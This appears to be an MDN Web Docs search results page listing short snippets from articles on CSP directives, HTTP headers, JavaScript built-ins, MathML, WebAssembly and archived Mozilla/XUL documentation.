CSP: script-src-attr - HTTP
syntax one or more sources can be allowed for the script-src-attr policy: content-security-policy: script-src-attr <source>; content-security-policy: script-src-attr <source> <source>; script-src-attr can be used in conjunction with script-src: content-security-policy: script-src <source>; content-security-policy: script-src-attr <source>; sources <source> can be one of the following: <host-source> internet hosts ...
...the site's address may include an optional leading wildcard (the asterisk character, '*'), and you may use a wildcard (again, '*') as the port number, indicating that all legal ports are valid for the source.
...you can also specify data schemes (not recommended).
...And 7 more matches
CSP: script-src-elem - HTTP
syntax one or more sources can be allowed for the script-src-elem policy: content-security-policy: script-src-elem <source>; content-security-policy: script-src-elem <source> <source>; script-src-elem can be used in conjunction with script-src: content-security-policy: script-src <source>; content-security-policy: script-src-elem <source>; sources <source> can be one of the following: <host-source> internet hosts ...
...the site's address may include an optional leading wildcard (the asterisk character, '*'), and you may use a wildcard (again, '*') as the port number, indicating that all legal ports are valid for the source.
...you can also specify data schemes (not recommended).
...And 7 more matches
CSP: style-src-attr - HTTP
syntax one or more sources can be allowed for the style-src-attr policy: content-security-policy: style-src-attr <source>; content-security-policy: style-src-attr <source> <source>; style-src-attr can be used in conjunction with style-src: content-security-policy: style-src <source>; content-security-policy: style-src-attr <source>; sources <source> can be one of the following: <host-source> internet hosts by name o...
...the site's address may include an optional leading wildcard (the asterisk character, '*'), and you may use a wildcard (again, '*') as the port number, indicating that all legal ports are valid for the source.
...you can also specify data schemes (not recommended).
...And 7 more matches
CSP: style-src-elem - HTTP
syntax one or more sources can be allowed for the style-src-elem policy: content-security-policy: style-src-elem <source>; content-security-policy: style-src-elem <source> <source>; style-src-elem can be used in conjunction with style-src: content-security-policy: style-src <source>; content-security-policy: style-src-elem <source>; sources <source> can be one of the following: <host-source> internet hosts by na...
...the site's address may include an optional leading wildcard (the asterisk character, '*'), and you may use a wildcard (again, '*') as the port number, indicating that all legal ports are valid for the source.
...you can also specify data schemes (not recommended).
...And 7 more matches
CSP: worker-src - HTTP
syntax one or more sources can be allowed for the worker-src policy: content-security-policy: worker-src <source>; content-security-policy: worker-src <source> <source>; sources <source> can be one of the following: <host-source> internet hosts by name or ip address, as well as an optional url scheme and/or port number.
... the site's address may include an optional leading wildcard (the asterisk character, '*'), and you may use a wildcard (again, '*') as the port number, indicating that all legal ports are valid for the source.
...you can also specify data schemas (not recommended).
...And 7 more matches
Content-Security-Policy-Report-Only - HTTP
syntax content-security-policy-report-only: <policy-directive>; <policy-directive> directives the directives of the content-security-policy header can also be applied to content-security-policy-report-only.
...you can use this to iteratively work on your content security policy.
...if the blocked uri is from a different origin than the document-uri, then the blocked uri is truncated to contain just the scheme, host, and port.
...And 7 more matches
If-Match - HTTP
WebHTTPHeadersIf-Match
for put and other non-safe methods, it will only upload the resource in this case.
... the comparison with the stored etag uses the strong comparison algorithm, meaning two files are considered identical byte to byte only.
... if a listed etag has the w/ prefix indicating a weak entity tag, it will never match under this comparison algorithm.
...And 7 more matches
X-Frame-Options - HTTP
the x-frame-options http response header can be used to indicate whether or not a browser should be allowed to render a page in a <frame>, <iframe>, <embed> or <object>.
... sites can use this to avoid click-jacking attacks, by ensuring that their content is not embedded into other sites.
...on the other hand, if you specify sameorigin, you can still use the page in a frame as long as the site including it in a frame is the same as the one serving the page.
...And 7 more matches
Private class fields - JavaScript
class properties are public by default and can be examined or modified outside the class.
... the limitation of static variables being called by only static methods still holds.
...only the class which defines the private static field can access the field.
...And 7 more matches
Array.prototype.slice() - JavaScript
a negative index can be used, indicating an offset from the end of the sequence.
... a negative index can be used, indicating an offset from the end of the sequence.
... examples return a portion of an existing array let fruits = ['banana', 'orange', 'lemon', 'apple', 'mango'] let citrus = fruits.slice(1, 3) // fruits contains ['banana', 'orange', 'lemon', 'apple', 'mango'] // citrus contains ['orange','lemon'] using slice> in the following example, slice creates a new array, newcar, from mycar.
...And 7 more matches
Intl.DateTimeFormat.prototype.resolvedOptions() - JavaScript
the intl.datetimeformat.prototype.resolvedoptions() method returns a new object with properties reflecting the locale and date and time formatting options computed during initialization of this datetimeformat object.
... syntax datetimeformat.resolvedoptions() return value a new object with properties reflecting the locale and date and time formatting options computed during the initialization of the given datetimeformat object.
... description the resulting object has the following properties: locale the bcp 47 language tag for the locale actually used.
...And 7 more matches
Math.imul() - JavaScript
the math.imul() function returns the result of the c-like 32-bit multiplication of the two parameters.
... return value the result of the c-like 32-bit multiplication of the given arguments.
... description math.imul() allows for 32-bit integer multiplication with c-like semantics.
...And 7 more matches
Object.prototype.toString() - JavaScript
description every object has a tostring() method that is automatically called when the object is to be represented as a text value or when an object is referred to in a manner in which a string is expected.
...the following code illustrates this: const o = new object(); o.tostring(); // returns [object object] note: starting in javascript 1.8.5, tostring() called on null returns [object null], and undefined returns [object undefined], as defined in the 5th edition of ecmascript and subsequent errata.
... by using radix you can also convert base 10 numbers (like 1,2,3,4,5,.........) to another base numbers, in example below we are converting base 10 number to a base 2 (binary) number let basetenint = 10; console.log(basetenint.tostring(2)); // expected output is "1010" and same for big integers let bignum = bigint(20); console.log(bignum.tostring(2)); // expected output is "10100" some common radix are 2 for binary numbers, 8 for octal numbers, 10 for decimal numbers, 16 for hexadecimal numbers.
...And 7 more matches
RegExp - JavaScript
flags in constructor starting with ecmascript 6, new regexp(/ab+c/, 'i') no longer throws a typeerror ("can't supply flags when constructing one regexp from another") when the first argument is a regexp and the second flags argument is present.
... when using the constructor function, the normal string escape rules (preceding special characters with \ when included in a string) are necessary.
...see also deprecated regexp properties.
...And 7 more matches
String.prototype.replaceAll() - JavaScript
the pattern can be a string or a regexp, and the replacement can be a string or a function to be called for each match.
... syntax const newstr = str.replaceall(regexp|substr, newsubstr|function) when using a `regexp` you must have to set the global ("g") flag; otherwise, it will throw a typeerror: "replaceall must be called with a global regexp".
...a regexp without the global ("g") flag will throw a typeerror: "replaceall must be called with a global regexp".
...And 7 more matches
WeakMap - JavaScript
the keys must be objects and the values can be arbitrary values.
... you can learn more about weakmaps in the weakmap object guide (under keyed collections).
...a symbol can't be a weakmap key).
...And 7 more matches
typeof - JavaScript
the typeof operator returns a string indicating the type of the unevaluated operand.
... type result undefined "undefined" null "object" (see below) boolean "boolean" number "number" bigint (new in ecmascript 2020) "bigint" string "string" symbol (new in ecmascript 2015) "symbol" function object (implements [[call]] in ecma-262 terms) "function" any other object "object" note: ecmascript 2019 and older permitted implementations to have typeof return any implementation-defined string value for non-callable non-standard exotic objects.
... examples basic usage // numbers typeof 37 === 'number'; typeof 3.14 === 'number'; typeof(42) === 'number'; typeof math.ln2 === 'number'; typeof infinity === 'number'; typeof nan === 'number'; // despite being "not-a-number" typeof number('1') === 'number'; // number tries to parse things into numbers typeof number('shoe') === 'number'; // including values that cannot be type coerced to a number typeof 42n === 'bigint'; // strings typeof '' === 'string'; typeof 'bla' === 'string'; typeof `template literal` === 'string'; typeof '1' === 'string'; // note that a number within a string is still typeof string typeof (typeof 1) === 'string'; // typeof always returns a string typeof string(1) === 'string'; // string converts anything into a string, safer than ...
...And 7 more matches
label - JavaScript
the labeled statement can be used with break or continue statements.
... it is prefixing a statement with an identifier which you can refer to.
...usually function calls can be used instead of loop jumps.
...And 7 more matches
Web app manifests
web app manifests are part of a collection of web technologies called progressive web apps (pwas), which are websites that can be installed to a device’s homescreen without an app store.
... unlike regular web apps with simple homescreen links or bookmarks, pwas can be downloaded in advance and can work offline, as well as use regular web apis.
... the web app manifest provides information about a web application in a json text file, necessary for the web app to be downloaded and be presented to the user similarly to a native app (e.g., be installed on the homescreen of a device, providing users with quicker access and a richer experience).
...And 7 more matches
<mi> - MathML
WebMathMLElementmi
the mathml <mi> element indicates that the content should be rendered as an identifier such as function names, variables or symbolic constants.
... you can also have arbitrary text in it to mark up terms.
...you can use #rgb, #rrggbb and html color names.
...And 7 more matches
<mo> - MathML
WebMathMLElementmo
besides operators in strict mathematical meaning, this element also includes "operators" like parentheses, separators like comma and semicolon, or "absolute value" bars.
...you can use #rgb, #rrggbb and html color names.
...you can use #rgb, #rrggbb and html color names.
...And 7 more matches
<semantics> - MathML
in mathml there are two ways to mark up mathematics: presentation mathml is used to control the layout of equations, whereas content mathml is designed to encode the semantic mathematical meaning and to make expressions understandable to computer algebra systems.
... the mathml elements <semantics>, <annotation> and <annotation-xml> are used to combine presentation and content markup and to provide both, layout information and semantic meaning of mathematical expressions.
... beware that <annotation-xml> elements are only recognized, if the encoding attribute is set to one of the following: "application/mathml-presentation+xml" "mathml-presentation" "svg1.1" "text/html" "image/svg+xml" "application/xml".
...And 7 more matches
Handling media support issues in web content - Web media technologies
one of the realities of working with audio and video presentation and manipulation on the web is that there are a number of media formats available, of varying degrees of popularity and with a variety of capabilities.
... the availability of choices is good for the user, in that they can choose the format that suits their needs best.
... there is a drawback, however: because there are so many to choose from, with so many different kinds of licenses and design principles involved, each web browser developer is left to its own devices when deciding which media file types and codecs to support.
...And 7 more matches
Performance budgets - Web Performance
it can apply to a file, a file type, all files loaded on a page, a specific metric (e.g.
...it's a tradeoff between user experience, against other performance indicators (e.g.
... these goals can be: timing based (e.g.
...And 7 more matches
How to turn off form autocompletion - Web security
this article explains how a website can disable autocomplete for form fields.
... these features are usually enabled by default, but they can be a privacy concern for users, so browsers can let users disable them.
... however, some data submitted in forms either are not useful in the future (for example, a one-time pin) or contain sensitive information (for example, a unique government identifier or credit card security code).
...And 7 more matches
XML introduction - XML: Extensible Markup Language
instead, you define your own tags designed specifically for your needs.
... this is a powerful way to store data in a format that can be stored, searched, and shared.
... most importantly, since the fundamental format of xml is standardized, if you share or transmit xml across systems or platforms, either locally or over the internet, the recipient can still parse the data due to the standardized xml syntax.
...And 7 more matches
Common XSLT Errors - XSLT: Extensible Stylesheet Language Transformations
mime types your server needs to send both the source and the stylesheet with a xml mime type, text/xml or application/xml.
... in firefox 6 and forward, you can also use the official xslt mimetype: application/xslt+xml.
...however these versions also used a draft version of xslt which is incompatible with what eventually became the xslt 1.0 specification.
...And 7 more matches
Converting WebAssembly text format to wasm - WebAssembly
historically, a .wast extension was also used, however that's now used for the scripting language used by the webassembly testsuite.
... a first look at the text format let’s look at a simple example of this — the following program imports a function called imported_func from a module called imports, and exports a function called exported_func: (module (func $i (import "imports" "imported_func") (param i32)) (func (export "exported_func") i32.const 42 call $i ) ) the webassembly function exported_func is exported for use in our environment (e.g.
...when it is called, it calls an imported javascript function called imported_func, which is run with the value (42) provided as a parameter.
...And 7 more matches
WebAssembly
webassembly is a new type of code that can be run in modern web browsers — it is a low-level assembly-like language with a compact binary format that runs with near-native performance and provides languages such as c/c++, c# and rust with a compilation target so that they can run on the web.
... in a nutshell webassembly has huge implications for the web platform — it provides a way to run code written in multiple languages on the web at near native speed, with client apps running on the web that previously couldn’t have done so.
... webassembly is designed to complement and run alongside javascript — using the webassembly javascript apis, you can load webassembly modules into a javascript app and share functionality between the two.
...And 7 more matches
Private Properties - Archive of obsolete content
this is slightly less efficient than using the underscore convention, but not significantly for most applications.
...before explaining how weakmaps work, the following looks at how ordinary objects can be used as hash maps, by creating a simple image cache: let images = {}; function getimage(name) { let image = images[name]; if (!image) { image = loadimage(name); images[name] = image; } return image; } now suppose there's a need to associate a thumbnail with each image.
...the second problem is more severe: the thumbnail cache maintains a strong reference to each thumbnail object, so they will never be freed, even when their corresponding image has gone out of scope.
...And 6 more matches
Porting the Library Detector - Archive of obsolete content
it's a very simple add-on and a good candidate for porting because there are suitable sdk apis for all its features.
... you can browse and run the ported version in the sdk's examples directory.
...each test object contains a function called test(): if the function finds the library, it defines various additional properties for the test object, such as a version property containing the library version.
...And 6 more matches
system/unload - Archive of obsolete content
experimental register callbacks that are called when a module is unloaded.
... globals functions ensure(object, name) calling ensure() on an object does two things: it replaces a destructor method with a wrapper method that will never call the destructor more than once.
... it ensures that this wrapper method is called when the object's module is unloaded.
...And 6 more matches
util/array - Archive of obsolete content
returns boolean : a boolean indicating whether or not the element was found in the array.
... returns boolean : a boolean indicating whether or not any of the elements were found in the array.
... let { add } = require('sdk/util/array'); let a = ['alice', 'bob', 'carol']; add(a, 'dave'); // true add(a, 'dave'); // false add(a, 'alice'); // false console.log(a); // ['alice', 'bob', 'carol', 'dave'] parameters array : array the array to add the element to.
...And 6 more matches
Storing annotations - Archive of obsolete content
deprecated in firefox 29 and removed in firefox 38.
... the widget api is deprecated from firefox 29 onwards.
...in this chapter we will cover three topics relating to persistent storage: using simple-storage to persist objects handling exhaustion of the storage quota allocated to you respecting private browsing storing new annotations in this section we are only touching the main.js file.
...And 6 more matches
Examples and demos from articles - Archive of obsolete content
what follows is a brief list of examples and demos from our theoretical articles.
...[article] css pure-css dropdown menu [html] with the :hover pseudo-class you can create complex cascade algorithms.
....[article] pure-css web gallery based on the :hover pseudoclass [zip] you can use the :hover pseudo-class in order to build an image gallery with full-size images shown only when mouse goes over previews.
...And 6 more matches
Rosetta - Archive of obsolete content
we can show, however, a possible way to start from.
... for a fast overview on the code proposed here you can git clone https://github.com/madmurphy/rosetta.js, or, at your choice, directly download this .zip file.
...|*| http://www.gnu.org/licenses/gpl-3.0.html |*| |*| syntax: |*| |*| rosetta.appendcompiler([ "text/x-csrc", "text/x-c" ], yourcompiler); |*| \*/ var rosetta = new (function () { function createscript (oscript, oxhr200) { var smimetype = oscript.getattribute("type").tolowercase(), obaton = document.createcomment(" the previous code has been automatically translated from \"" + smimetype + "\" to \"text/ecmascript\".
...And 6 more matches
Windows - Archive of obsolete content
opening new browser windows to open a new browser window, you can simply use window.open().
...in particular the components.classes is undefined and the components object is deprecated.
... draggable windows to make a window draggable by clicking on the window's contents, you can use the mousedown and mousemove events.
...And 6 more matches
Common Pitfalls - Archive of obsolete content
these are the sort of things that super-review should be catching for code that goes into the tree; avoiding these to start with saves super-reviewers a lot of effort.
... how to create a uri object in almost all cases, when creating a uri object you want to use the newuri method on the nsiioservice interface, like so: javascript: try { var ioserv = components.classes["@mozilla.org/network/io-service;1"] .getservice(components.interfaces.nsiioservice); var uriobj = ioserv.newuri(uristring, uricharset, baseuri); } catch (e) { // may want to catch ns_error_malformed_uri for some applications } c++: nsresult rv; nscomptr<nsiioservice> ioserv = do_getservice("@mozilla.org/network...
.../io-service;1"); ns_ensure_success(rv, rv); nscomptr<nsiuri> uriobj; rv = ioserv->newuri(uristring, uricharset, baseuri, getter_addrefs(uriobj)); if (ns_failed(rv)) { // may want to handle ns_error_malformed_uri for // some applications return rv; } or, if the code can include nsnetutil.h: nscomptr<nsiuri> uriobj; nsresult rv = ns_newuri(getter_addrefs(uriobj), uristring, uricharset, baseuri); in all cases the baseuri can be null if the uristring should be treated as an absolute uri and uricharset can be null if there is no clear origin charset for the string (e.g.
...And 6 more matches
Multiple item extension packaging - Archive of obsolete content
a multiple item package provides the ability to package multiple installable bundles which can then be downloaded and installed by a user, or provided pre-packaged with an application or by an external program.
... the extension manager will read the install.rdf install manifest to determine if this is a multiple item package and then start the installation of the individual packages it contains automatically.
...the only required properties are em:id, em:targetapplication, and em:type.
...And 6 more matches
Firefox addons developer guide - Archive of obsolete content
so there may be still some reference to the xuldev website (we want to host source code on mdc, not on xuldev), and to japanese things (like some specific locales, which have been translated to french since non-latin characters are not well supported).
... xpi should be in all caps instead of written as ("xpi").
... if you use the interface template when mentioning interfaces by name, mdc will automatically format them and generate links to their documentation, like this: nsiconsoleservice.
...And 6 more matches
Making it into a static overlay - Archive of obsolete content
the two ways of doing that are to integrate it into the mozilla codebase (in which case it is no longer an extension but rather part of the default mozilla distribution) and to package it into an installer that users can run from within mozilla to add the extension to their mozilla installation.
...mozilla installer packages are called xpis (pronounced "zippies"), which stands for cross-platform installer.
...because our extension modifies an existing file in the mozilla distribution, before we package it up we need to separate the modifications into a different file and add them back in at run time via a dynamic xul overlay.
...And 6 more matches
Message Summary Database - Archive of obsolete content
mdb is a schema-less db interface, so it's trivial to add new attributes without regenerating the db, and it's trivial for older code to read newer databases, because the code can ignore but maintain the attributes it doesn't know about.
... if we were to replace mork, we could do it at the mdb level (unlikely, because implementing the mdb interface on top of a different db would be very hard), the nsimsgdatabase level (probably the easiest), or we could invent a whole new database interface and change all the code that uses the nsimsgdatabase interface.
...there are a set of generic property methods so that core code and extensions can set attributes on msg headers without changing nsimsghdr.idl.msg threads we store thread information persistently in the database and expose these object through the [nsimsgthread interface.
...And 6 more matches
Plug-n-Hack - Archive of obsolete content
overview plug-n-hack (pnh) is a proposed standard from the mozilla security team for defining how security tools can interact with browsers in a more useful and usable way.
...configuring a browser to work with a security tool can be a non-trivial process, and this can discourage people with less experience from using such tools.
... this can include application developers and testers, exactly the sort of people we would like to use these tools more!
...And 6 more matches
Extensions - Archive of obsolete content
since prism is a totally separate host application, there are some prism-specific issues that you need to handle when creating your extension.
... most notably, the prism application id and the differences in the user interface (ui).
... extensions typically overlay the host application's ui to add toolbar buttons, menus and other features.
...And 6 more matches
Safely loading URIs - Archive of obsolete content
for example, loading some file: uris can hang the browser or even crash the operating system in some cases.
... some other schemes are used internally by mozilla modules to communicate with each other.
... to solve this problem, gecko provides methods that allow the caller to check whether it's safe to load a particular uri.
...And 6 more matches
Standalone XPCOM - Archive of obsolete content
standalone xpcom is a tree configuration that builds a minimal set of libraries (shared mostly) that can be used to get all features of xpcom.
...hence cannot be used with the mozilla browser.
... building standalone xpcom here are the instructions for building the standalone xpcom on unix or windows: step 1 : pull the sources cvs -z 3 co mozilla/client.mk cd mozilla gmake -f client.mk pull_all build_modules=xpcom step 2 : build xpcom standalone ./configure --enable-standalone-modules=xpcom --enable-application=standalone gmake testing standalone xpcom xpcom/sample contains a sample application and a component.
...And 6 more matches
Table Cellmap - Archive of obsolete content
83 union { 84 nstablecellframe* morigcell; 85 long mbits; 86 }; the idea behind this construction is a entry in the cellmap can be either the origin of a row- or colspan (a cell cell without a defined row- or colspan attribute assumes 1 as a default value), or a entry which is only covered by a row- or colspan.
...now that union uses the fact all addresses of real tablecellframes are aligned at even boundaries, or in other words they cant have an odd address.
... take the same table and adder a header <table> <thead> <tr><td>head cell 1</td><td>head cell 2</td></tr> </thead> <tbody> <tr><td>cell 1</td><td>cell 2</td></tr> <tr><td>cell 3</td><td>cell 4</td></tr> </tbody> </table> now we have two different rowgroups and and the rowspans can not cross the borders between the different rowgroups.
...And 6 more matches
Table Layout Regression Tests - Archive of obsolete content
subject overview changes in layout, parser and content code can have unintended side effects, also known as regressions.
... it is good style to check for these unwanted regressions and fixing them before checkin rather than causing bugzilla avalanches.
... execute the baseline test shutdown the layoutdebugger execute mozilla -layoutdebug - p foo >selftest.txt execute the verify test make a note which tests have failed grep 'failed' selftest.txt (these are false positives, quite frequently they indicate reflow problems, pages showing differently when loaded from cache) make your changes to the source, recompile.
...And 6 more matches
Using addresses of stack variables with NSPR threads on win16 - Archive of obsolete content
this is a cautionary note that may be old information for some of you.
...consequently, implementing threads, with their implication of a unique stack for each thread, requires that the nspr copy the stacks during thread context switches.
...with the speed of today's processors (even those running win-16), the copying of 10 - 50 kilobytes of data between two locations in memory is barely measurable 1.
...And 6 more matches
XBL - Archive of obsolete content
xml binding language (xbl, sometimes also called extensible bindings language) is a language for describing bindings that can be attached to elements in other documents.
... the element that the binding is attached to, called the bound element, acquires the new behavior specified by the binding.
... bindings can contain event handlers that are registered on the bound element, an implementation of new methods and properties that become accessible from the bound element, and anonymous content that is inserted underneath the bound element.
...And 6 more matches
execute - Archive of obsolete content
the blocking parameter is not available as part of this method in versions of netscape before 6.1/mozilla 0.9.3.
...your code must call the performinstall method to actually execute the file.
... you can use this method to launch an installshield installer or any install executable file stored in a xpi file.
...And 6 more matches
Providing Command-Line Options - Archive of obsolete content
extensions and xul applications can modify the way command line parameters are handled by writing a component that implements the nsicommandlinehandler interface and registering it in a category.
... you can learn more about how the command line is interpreted by looking at the documentation for the nsicommandline interface.
... example the below example component implements two command line parameters: firefox.exe -myapp opens a chrome window for my application.
...And 6 more matches
Actions - Archive of obsolete content
<vbox datasources="http://www.xulplanet.com/ds/sample.rdf" ref="http://www.xulplanet.com/rdf/a"> <template> <query> <content uri="?start"/> <triple subject="?start" predicate="http://www.xulplanet.com/rdf/relateditem" object="?relateditem"/> </query> <action> <button uri="?relateditem" label="?relateditem"/> </action> </template> </vbox> in this example, we omit the <xul:rule> element around the <xul:action> as it is optional when we want to generate content unconditionally.
...this action contains only one element, but you can put as many or as few elements as you need.
... in this case, a button will be created for each result.
...And 6 more matches
Simple Example - Archive of obsolete content
<?xml version="1.0"?> <rdf:rdf xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:dc="http://purl.org/dc/elements/1.1/"> <rdf:seq rdf:about="http://www.xulplanet.com/rdf/myphotos"> <rdf:li rdf:resource="http://www.xulplanet.com/ndeakin/images/t/palace.jpg"/> <rdf:li rdf:resource="http://www.xulplanet.com/ndeakin/images/t/canal.jpg"/> <rdf:li rdf:resource="http://www.xulplanet.com/ndeakin/images/t/obelisk.jpg"/> </rdf:seq> <rdf:description rdf:about="http://www.xulplanet.com/ndeakin/images/t/palace.jpg" dc:title="palace from above"/> <rdf:description rdf:about="http://www.xulplanet.com/ndeakin/images/t/canal.jpg" dc:title="canal"/> <rdf:description rdf:about="http://...
...www.xulplanet.com/ndeakin/images/t/obelisk.jpg" dc:title="obelisk"/> </rdf:rdf> in this example, we have three images, which can be identified by urls.
... <query> <content uri="?start"/> <member container="?start" child="?photo"/> <triple subject="?photo" predicate="http://purl.org/dc/elements/1.1/title" object="?title"/> </query> the seed is set in a similar manner as the previous examples, effectively creating a single result with the ?start variable set to the reference resource 'http://www.xulplanet.com/rdf/myphotos'.
...And 6 more matches
Stack Positioning - Archive of obsolete content
the second button can be placed at 100 pixels from the left edge and 5 pixels from the top edge.
...for the horizontal position, use the left attribute and for the vertical position, use the top attribute.
...you can override this size with the various style properties such as width and max-width.
...And 6 more matches
XBL Attribute Inheritance - Archive of obsolete content
« previousnext » in this section we'll see how attributes can be inherited.
...in this case, it would be preferable if the attribute could be specified on the searchbox instead.
... xbl provides an inherits attribute which can be used to inherit attributes from the bound element.
...And 6 more matches
XUL Changes for Firefox 1.5 - Archive of obsolete content
for other changes you should be aware of, see adapting xul applications for firefox 1.5.
... <scrollcorner> a <scrollcorner> element is added which is used to create the small box in the intersection of the horizontal and vertical scrollbars.
... bfcache mozilla now caches the page's dom, so that navigating back and forward does not reload the page, making navigation much more efficient.
...And 6 more matches
arrowscrollbox - Archive of obsolete content
this element is typically used for large popup menus.
... attributes clicktoscroll, disabled, smoothscroll, tabindex properties disabled, scrollboxobject, scrollincrement, smoothscroll, tabindex methods ensureelementisvisible, scrollbyindex, scrollbypixels examples <arrowscrollbox orient="vertical" flex="1"> <button label="red"/> <button label="blue"/> <button label="green"/> <button label="yellow"/> <button label="orange"/> <button label="silver"/> <button label="lavender"/> <button label="gold"/> <button label="turquoise"/> <button label="peach"/> <button label="maroon"/> <button label="black"/> </arrowscrollbox> attributes inherited from xul element align, allowevents,...
... allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width clicktoscroll type: boolean clicktoscroll, if true, the arrows must be clicked to scroll the scrollbox content.
...And 6 more matches
MacFAQ - Archive of obsolete content
note that in order to copy the framework while keeping the relative soft-links in the framework, do something like: % ( cd dist ; gnutar cf - xul.framework | ( cd /library/frameworks ; gnutar xf - )) installing your application your application must be installed as a xulrunner app before you can open it.
... to do this, type: xulrunner-bin --install-app /path/to/appdir note the path to your application must end with the directory containing application.ini; you should not reference application.ini in this command.
... this command will place a copy of your application in /applications/(vendor)/(name) , where (vendor) is the vendor field in your application.ini and (name) is the name field.
...And 6 more matches
XUL Explorer - Archive of obsolete content
xul explorer is a xulrunner application that provides an easy way to experiment with xul.
... it’s a simple editor that can preview xul inline or in a separate popup window.
... it has a list of code snippets (small fragments of xul or javascript) that can be quickly inserted into the editor.
...And 6 more matches
NPStream - Archive of obsolete content
syntax typedef struct _npstream { void* pdata; /* plug-in private data */ void* ndata; /* netscape private data */ const char* url; uint32 end; uint32 lastmodified; void* notifydata; const char *headers; } npstream; fields the data structure has the following fields: plug-in-private value that the plug-in can use to store a pointer to private data associated with the instance; not modified by the browser.
... ndata browser-private value that can store data associated with the instance; should not be modified by the plug-in.
...can be zero for streams of unknown length, such as streams returned from older ftp servers or generated "on the fly" by cgi scripts.
...And 6 more matches
Writing a plugin for Mac OS X - Archive of obsolete content
before you go on reading this article, you may wish to grab the sample code located here, as it will be referenced during this tutorial.
... the sample is posted under a bsd-style license that means you can use it for anything, even if you don't plan to release your source code.
... getting started if you check out the mozilla source code in mac os x, you can simply open basicplugin.xcodeproj in xcode, click build, and you're done.
...And 6 more matches
Proposal - Archive of obsolete content
those labeled with "draft exists" can be implemented, but be warned that they could radically change.
... name description status easy news topics easy news topics (ent) is intended to be a very simple standard for describing how topic information can be introduced into an rss2.0 news feed.
...spec exists itunes rss itunes extension modules used for ipradio/podcasting.
...And 6 more matches
Security Controls - Archive of obsolete content
this article discusses security controls, explaining the major categories and why they are all relevant, and exploring their weaknesses.
...protection measures (otherwise known as security controls) tend to fall into two categories.
...second, the system should offer only the required functionality to each authorized user, so that no one can use functions that are not necessary.
...And 6 more matches
Digital Signatures - Archive of obsolete content
tamper detection and related authentication techniques rely on a mathematical function called a one-way hash (also called a message digest).
... the content of the hashed data cannot, for all practical purposes, be deduced from the hash-which is why it is called "one-way." similarly, in public key encryption, a key pair is generated for digital signing.
... the key pair consists of a private signing key and a public verification key.
...And 6 more matches
Using the W3C DOM - Archive of obsolete content
some browsers have non-standard properties, such as internet explorer's document.all[], that are not part of the w3c document object model (dom) standards and may cause javascript errors in standards-compliant browsers.
...the method returns a reference to the uniquely identified element, which can then be used to script the element.
... for example, the following short sample dynamically sets the left margin of a <div> element with an id of "inset" to half an inch: // in the html: <div id="inset">sample text</div> document.getelementbyid("inset").style.marginleft = ".5in"; note: internet explorer 5 through 7 have a flawed implementation of getelementbyid(), which returns the first element with a matching name or id (id versus name when using getelementbyid, msdn: getelementbyid method).
...And 6 more matches
-ms-wrap-flow - Archive of obsolete content
both inline flow content can flow on all sides of the exclusion.
... start inline flow content can wrap on the start edge of the exclusion area but must leave empty the area after the end edge of the exclusion area.
... end inline flow content can wrap after the end edge of the exclusion area but must leave empty the area before the start edge of the exclusion area.
...And 6 more matches
Generator comprehensions - Archive of obsolete content
a significant drawback of array comprehensions is that they cause an entire new array to be constructed in memory.
... when the input to the comprehension is itself a small array the overhead involved is insignificant — but when the input is a large array or an expensive (or indeed infinite) generator the creation of a new array can be problematic.
... generators enable lazy computation of sequences, with items calculated on-demand as they are needed.
...And 6 more matches
GetObject - Archive of obsolete content
the class argument uses the syntax appname.objectype and has these parts: appname name of the application providing the object.
...for example: var cadobject; cadobject = getobject("c:\\cad\\schema.cad"); when this code is executed, the application associated with the specified pathname is started, and the object in the specified file is activated.
... some applications allow you to activate part of a file.
...And 6 more matches
New in JavaScript 1.3 - Archive of obsolete content
the following is a changelog for javascript from netscape navigator 4.0 to 4.5.
... the old netscape documentation can be found on archive.org.
... netscape navigator 4.5 was released on october 19, 1998.
...And 6 more matches
New in JavaScript 1.5 - Archive of obsolete content
this version was included in netscape navigator 6.0 was released on november 14, 2000 and was also used in later versions of netscape navigator and firefox 1.0.
... you can compare javascript 1.5 to jscript version 5.5 and internet explorer 5.5, which was released in july 2000.
... multiple catch clauses in a try...catch statement are supported.
...And 6 more matches
Object.prototype.__noSuchMethod__ - Archive of obsolete content
the __nosuchmethod__ property used to reference a function to be executed when a non-existent method is called on an object, but this function is no longer available.
... while __nosuchmethod__ has been dropped, the ecmascript 2015 specification has the proxy object, with which you can achieve the below (and more).
...} id the name of the non-existent method that was called args an array of the arguments passed to the method description by default, an attempt to call a method that doesn't exist on an object results in a typeerror being thrown.
...And 6 more matches
Object.observe() - Archive of obsolete content
however, this api has been deprecated and removed from browsers.
... you can use the more general proxy object instead.
... syntax object.observe(obj, callback[, acceptlist]) parameters obj the object to be observed.
...And 6 more matches
Object.unobserve() - Archive of obsolete content
the object.unobserve() method was used to remove observers set by object.observe(), but has been deprecated and removed from browsers.
... you can use the more general proxy object instead.
... syntax object.unobserve(obj, callback) parameters obj the object to stop observing.
...And 6 more matches
XForms Repeat Element - Archive of obsolete content
number - isn't supported type restrictions the repeat element can be bound to a nodeset.
...however, it can influence the layout of generated controls depending on its appearance attribute.
... default layout each generated control set is placed vertically.
...And 6 more matches
Mozilla's DOCTYPE sniffing - Archive of obsolete content
in other words, the algorithm is the best approximation we can find for determining which pages were written after mozilla became a known important user-agent on the web.
... full standards mode the following trigger full standards mode: any document sent with an xml mime type such as text/xml, application/xml, or application/xhtml+xml (since sniffing only occurs for documents sent as text/html).
... any unknown doctype, which should include the following (technically known) doctypes: the public identifier "-//w3c//dtd html 4.01//en".
...And 6 more matches
Using the DOM File API in chrome code - Extensions
if you want to use the dom file api in chrome code, you can do so without restriction.
... in fact, you get one bonus feature: you can create file objects specifying the path of the file on the user's computer.
... this only works from privileged code, so web content can't do it.
...And 6 more matches
Crisp pixel art look with image-rendering - Game development
this article discusses a useful technique for giving your canvas/webgl games a crisp pixel art look, even on high definition monitors.
...developers have been manually scaling up graphics so they are shown with blocks that represent pixels.
... original size 4x size 4x size (scaled with an image editor) none vendor's algorithm nearest-neighbor algorithm a css-based solution the good news is that you can use css to automatically do the up-scaling, which not only solves the blur problem, but also allows you to use the images in their original, smaller size, thus saving download time.
...And 6 more matches
Square tilemaps implementation: Static maps - Game development
